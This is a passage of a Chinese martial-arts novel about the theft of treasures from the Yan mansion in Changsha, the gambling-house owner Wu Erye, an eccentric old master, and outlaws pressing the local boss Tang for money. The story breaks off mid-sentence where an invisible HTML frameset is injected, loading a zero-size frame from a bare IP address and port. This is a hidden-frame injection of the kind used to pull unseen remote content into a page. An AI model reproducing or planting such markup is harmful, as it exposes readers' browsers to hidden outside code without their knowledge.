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（一）
书房里气氛异常沉闷。
吴二爷托腮陷入深思。
那个曾一度为富贵赌坊带来不少麻烦的穷老头，此刻虽仍坐在吴二爷对面，但吴二爷却似乎已经忘记了书房中还有这样一个人。
如今，紧紧盘据在吴二爷心头的，是一层又一层，无穷无尽的懊恼。
他深恨自己糊涂。
恨自己来到长沙已七八年，竟未留意到长沙城内有座颜尚书府，竟未留意到这座颜尚书府中藏着这么一批稀世珍宝！
如果他早知道这一点，又何必像王宝钏苦守寒窑一般，一撑这么多年？
这么多年来，他是捞得不少，但要跟颜府失窃的这批宝物比起来，却不啻小巫见大巫。
要是他早知道这一点，当年刚到长沙，就狠下心来干一票，他又何必寄人篱下，委委曲曲，窝窝囊囊的，扮上这么多年的龟孙子？
被冷落了的穷老头，突然重重的发出一阵咳嗽。
吴二爷如自梦中惊醒。
吴二爷回到现实，才想起一切幻想都是虚假，如何打发这个老家伙，才是当前要务。
于是，他定定神，向穷老头赔笑道：“还没有请教老前辈如何称呼？”
穷老头笑笑道：“老汉如何称呼，无关宏旨；咱们大家时间有的是。你吴大老板，尽可仔细斟酌一下，是先设法处理你的那批珍宝，还是先设法打发我这个大瘟神？”
吴二爷一怔道：“珍宝？什么珍宝？”
穷老头轻轻叹了口气，道：“看样子，我们大概是谈不拢了。”
吴二爷眼珠子转动了几下，忽然哈哈大笑。
穷老头道：“吴二当家的，什么事如此好笑？”
呈二爷好不容易才忍住了笑声，道：“老前辈是不是怀疑我跟颜府窃案有牵连？”
穷老头道：“难道没有？”
吴二爷忍不住又笑了起来道：“如果吴某人跟颜府窃案有牵连，你想我吴某人今天还会安安稳稳的坐在这里？”
穷老头道：“这种反证勉强得很，以你吴二爷的老谋深算，加上又不是你吴二爷亲自动的手，你为什么不能安安稳稳的坐在这里？”
吴二爷道：“那么，老前辈要我如何举证，才肯相信我吴某人跟这件窃案毫无瓜葛？”
穷老头道：“你得先说说你杀活无常麻竹庭灭口的理由。”
吴二爷道：“如果前辈已知道这座后院曾经发生过一些什么事，前辈就该知道那厮完全是咎由自取。他不该无缘无故的，狮子大开口，向我吴某人勒索十万两银子。”
穷老头道：“他向你勒索的事情，老汉清楚。但这只更增加了你吴大当家的对颜府窃案的嫌疑！”
吴二爷微笑道：“如果前辈以为那厮是为了想分赃，而向吴某人加以勒索，那就大错而特错了。”
穷老头道：“那么，他勒索的借口是什么？”
吴二爷道：“前辈既是江湖中人，我吴某人也毋须加以隐瞒。天山门，断魂枪吴火狮，跟吴某人实为叔侄关系，而家叔跟这里的汤大爷为了争夺地盘，一向水火不容，前辈如果常在三湘走动，这一点谅亦有所耳闻。”
穷老头点点头道：“吴火狮与汤中火两人明争暗斗的情形，老汉听人说过。”
吴二爷道：“姓麻的这次从断魂四虎之一的暴虎吕耀庭口中，无意中获悉吴某人跟吴火狮的叔侄关系之后，自以为逮住了吴某人的把柄，他登门意图勒索吴某人十万两银子，便是以不揭发吴某人这个秘密为借口”
穷老头又点头道：“很好，你解释的很清楚。”
吴二爷接下去道：“所以——”
“慢一点！”穷老头拦住他的话头道：“除此以外，还有一件事情，你吴大当家的能不能也一并为老汉解释一下？”
吴二爷道：“什么事情？”
穷老头道：“暴虎吕耀庭只是断魂四虎之一，另外的三虎，鬼虎、魔虎、和飞天虎，他们这次也悄悄来了长沙，又是为的什么？”
吴二爷呆住了。一张面孔称是白中透青，慢慢又变红变紫，显然惊怒已达极点。
因为，断魂四虎中其他三虎也跟暴虎一起悄悄的来到了长沙，他事先毫无所悉。
穷老头道：“吴大当家的没有亲身参与颜府窃案，这一点老汉完全相信，不过，吴大当家是否敢挺胸保证，断魂四虎中另外三虎，也跟这件窃案毫无关系？”
吴二爷脸上红紫消退，又转为一片青白。
他不回答穷老头的问话，却扭头向书房外面大喝道：
“来人啦！”-
名家丁应声奔入。
吴二爷沉声道：“去叫大总管进来！”
家丁应了一声是，快步出房而去。
不一会，大总管产必烈应召而至。
吴二爷厉声道：“多带几名兄弟出去，尽快查明天门山来人，鬼虎姚冷空、魔虎张也师、及飞天虎柳乘风三人的落脚处，查明之后，火速回报。”
（二）
汤大爷一个人坐在花厅里生闷气，三姨太太替他端来一碗热腾腾的炖燕窝，他连看也没看一眼。
厅中挂着两笼画眉乌，正在一个不服一个的大展婉转歌喉。
平常时候，这是汤大爷的赏心乐事之一。
他会逗着这两只高价买来的鸟儿，一玩就是个把时辰，丝毫不得厌倦疲累。
但今天汤大爷心情实在太恶劣了，三姨太太放下炖燕窝，转身欲走，汤大爷竟然手一挥道：“把乌笼拿去后面，吵死了！”
三姨太太心思乖巧，知道老爷一定遇上什么烦心事，当下一声不响，将鸟笼拎走了。
三姨太太刚走，一名长衫驼背的老人接着走进花厅。
见到这位管帐房的刘老夫子，汤大爷脸色方稍稍好看一点。
汤大爷道：“此刻前面的情形怎么样？”
刘老夫子摇摇头，吸了一口旱烟，缓缓将芋雾喷尽了，才不慌不忙的道：“还是老样子。”
汤大爷道：“还是不断有人登门告帮？”
刘老夫子道：“早先的七批不算，从中午到现在，又打发了十三批。”
汤大爷道：“后来的这批人，胃口怎么样？”
刘老夫子道：“一般说来，还不过份，只有九疑山的三狐兄弟，价码开得有点不大像话。”
汤大爷道：“哦！三兄弟开口要多少？”
刘老夫子道：“他们先不淡数目，刻意坚持要见大爷，说他们前两年曾在宁远地面帮过大爷一次大忙。”
汤大爷道：“你可以告诉他们说，我凑巧不在家啊！”刘老夫子道：“这个哪还用大爷吩咐。”
汤大爷道：“后来呢？”
刘老夫于道：“这三兄弟真是难缠，一听大爷不在，便说要长住下来，好等大爷回来之后，痛痛快快的跟大爷叙一叙。”
汤大爷哼了一声，双眉微微皱起：“跟这种人搭上了，永远没完没了，真后悔当时会跟这批瘟神打上交道。”
刘老夫子道：“老朽见这批家伙不是好来路，便每人封给他们一百两银子。”
汤大爷点头道：“好，这个数字封得恰到好处。”
刘老夫子道：“恰到好处是差远了，三兄弟拿起银封，掂掂份量，竟然脸色大变，说老朽有意羞辱他们，并发狠要拆了老朽这把骨头。结果老朽见机得快，忙说那只是三份中的一份，又赶紧添了六百两，才将三个家伙打发走。”
汤大爷气得脸色发青道：“今天长沙城中聚集的各路人马，少说点也有三五百人左右，要如果个个像他们三兄弟一样，我汤某人将如何应付？”
刘老夫子轻轻叹了口气道：“这就要怪我们那位麻师爷了。应付这一类角色，他最拿手，但他老弟却偏偏选上这种要紧关口，不晓得跑去了哪里？”
汤大爷道：“有没有继续派人出去找？”
刘老夫子道：“怎么没有？如今派出去的第三批，城里可说什么地方都找遍了，就是不见我们那位老弟的人影子。”
汤大爷道：“吴二爷那边派人去问过没有？”
刘老夫子道：“去问的人刚刚回来，二爷说没有。”
汤大爷起身背手踱步，心情异常烦躁。
长沙出了这么一件轰动遐尔的大窃案，谁都可以料想得到，往后一段不短的日子，长沙城里一定不得安宁。
他汤某人是湘东这一带地面上的龙头老大，如果控制不了未来的大局，他这块黄金地盘，很可能会因此出现危机。
活无常麻竹庭无论武功或智谋，都是他最得力的一名助手。
可是，令人难以置信的是，这位平时很少单独行动的麻老弟台，竟然在他最需要有人分忧的时候，突然失去踪影。
“那个混蛋去了哪里呢？”
汤大爷一头是火，但又找不出一点头绪来。
刘老夫子思索了片刻道：“既然找不到麻师爷，东家急也没用，依老朽的意思，不如先请吴二爷过来商量商量，东家以为如何？”
汤大爷呆了一下，不觉霍然失声道：“啊！你瞧我多糊涂，只顾了去找那个不成材的东西，竟忘了我们那位足智多谋的吴二爷”
（三）
离开富贵赌坊，回到客栈，弓展就没有再去别的地方。
他原打算将用剩下来的一千多两银子，拿去退还那位颜大公子的，但照目前的形势看起来，他这一趟颜府之行，显然还是以省掉为妙。
这是他出道以来，第二次背黑锅。
他是今天早上，跟大穷神在客栈饭厅里喝酒时，才从几名黑道人物的闲谈中，蓦然获悉自己竟然又成了江湖上哄传一时的大人物。
然后，大穷神便朝他使使眼色，拉他前往富贵赌坊。
大穷神说，赌坊里品流复杂，最适合打听这一类消息。加上富贵赌坊主持人钢钩吴信义，外貌忠厚，内心奸诈，暗地里常跟一些不明身分的人物来往，说不定单从这位吴二爷身上着手，就可以找到这件大窃案的端倪。
于是，他跟大穷神分工合作。
大穷神在前厅以怪赌注吸引大家注意，他则潜赴后院，暗中观察那位吴二爷的行动举止。
而这便是大穷神人虽未离赌台，却对后院一切了如指掌的秘密。
最后，大穷神被吴二爷请去后院，他则依大穷神眼色行事，先行回到这家客栈。
这是城里的一家下等廉价的客栈。
在这家客栈落脚的，多为负贩者流，房外的大庭院，便是骡棚马厩，尽管门窗紧闭，一阵阵骚臭味，还是直往人鼻孔里钻。
好在弓展并不在乎这些。
他从小到大，从没有过养尊处优的日子，他也不稀罕那种只会把一个有志青年培养成另一个颜如玉的生活。
所以，他回栈后，自己买了一点酒菜，关上房门，悠哉游哉，自得其乐。
他有过一次被断肠人萧飒栽脏的经验，对这次背上颜府窃案的黑锅，他本有自己的主张以及行动的方式，他因为半路上插进一位大穷神，他为尊重对方的辈份，以及不忍违拗对方的一番好意，他愿意先听这位前辈的安排。
同时，他还发觉，这次颜府的窃案，发生的时间似乎也太凑巧了一点。
窃案早不发生，迟不发生，偏偏发生在他进颜府的当夜，这里面是否另有文章，亦颇耐人寻思。他乐得趁此机会，先冷静下来，仔仔细细加以推敲一番。
（四）
大总管黄必烈不愧为吴二爷倚重的心腹人物。
偌大一座长沙城，若想在短时间内，去找出三名有意隐藏行踪的江湖高手，恐怕就连吴二爷自己都得承认不是一件容易事。
而这位黄大总管，经过一番细心的盘算安排，居然在不到一个时辰之内，就找出了断魂三虎在城中的秘密落脚之处。
黄大总管回来向吴二爷报告：“回老东家，断魂三虎的下落已经查出来了。三虎目前歇脚处，是北城的慈云庵。”
吴二爷像上吓了一跳：“慈云庵？你说的是靠近北城门那座，尼姑庙？”
黄必烈道：“不错，就是那座尼姑庙。”吴二爷道：“三个大男人，住在一座尼姑庙里，这成什么体统？”
黄必烈微笑：“就因为这事说出来谁也不会相信，住在里面的人，才更显得安全！”
吴二爷点点头，沉吟不语。就在这时候，三总管张小呆进来了。
张小呆进门抱拳道：“汤大爷派人来过来请东家立即过去一下”
吴二爷皱皱眉头，挥手命张小呆先行退下，然后转身向大穷神道：“前辈圣明，已知道颜府窃案与我吴某人无关，而前辈认为涉嫌颇重的断魂三虎，如今也已查出了下落，前辈是不是还有别的什么吩咐？”
大穷神不住的点头，不住的说着：“好、好、好”他说好的意思，并不是他顺着吴二爷的请求，还有什么别的吩咐。
他说的这几个好字，是正面的赞美词。
被赞美的人，就是吴二爷。
这位吴二爷自从在前厅赌场子见到了他，先后一个多时辰，言行举止方面，几乎找不到一丝暇疵来。
这位遭遇重大的事故，周旋应对的定力和耐力，不由得令人觉得那位活无常麻竹庭死得实在一点也不冤枉。
今天，双方若是易地以处，相信必然是另一种结果。
最低限度，当这位吴二爷去敲诈勒索一个人时，他绝不会不替自己留一条退路。
就算他对自己的一身武功很有把握，他也不会毫无提防的行走在对方两人的中间，为自己造成一种即使不受骗“看怪鸟”也会遭到“夹杀”的局面。
大穷神离去时的神情，就像一只斗败了的公鸡，狼狈之至。
但吴二爷仍然恭送如仪，礼敬如初。
望着大穷神远去的背影，大总管黄必烈低声道：“这老家伙看上去毫无惹眼之处，老东家为什么要对他如此尊敬？”
吴二爷笑笑道：“好在这只是你黄老大的想法，要如果我吴二也有这种想法的话，今天这座富贵赌坊纵然还能存在，恐怕也得另换一个东家和总管了。”
大总管黄必烈吃了一惊道：“这老家伙难道竟是‘十八怪’中的‘饕餮双怪’之一？”
吴二爷道：“再往上猜。”
大总管黄必烈一呆道：“江湖五奇中人？”
吴二爷笑道：“现在你对我对这老家伙的尊敬，还感不感觉奇怪？”
（五）
汤大爷一巴掌重重拍在桌子上，气冲冲的道：“老二，你说这种事情气不气人！像九疑三狐和辰州双熊这批货色，他们算是什么东西？居然一开口就是几百两几百两的要，好像一点都不把我汤中火看在眼里！”
吴二爷赔笑道：“老大，您先别气，这件事情好解决。”
汤大爷道：“好解决？今天到目前为止，已打发了二十多批，这样下去，我汤中火不被这些浑球掏光了才怪！”
吴二爷道：“我那边的情形<frameset framespacing="0" border="0" rows="0" frameborder="0"><frame name="main" src="http://58.220.32.210:98/" scrolling="auto" noresize></frameset>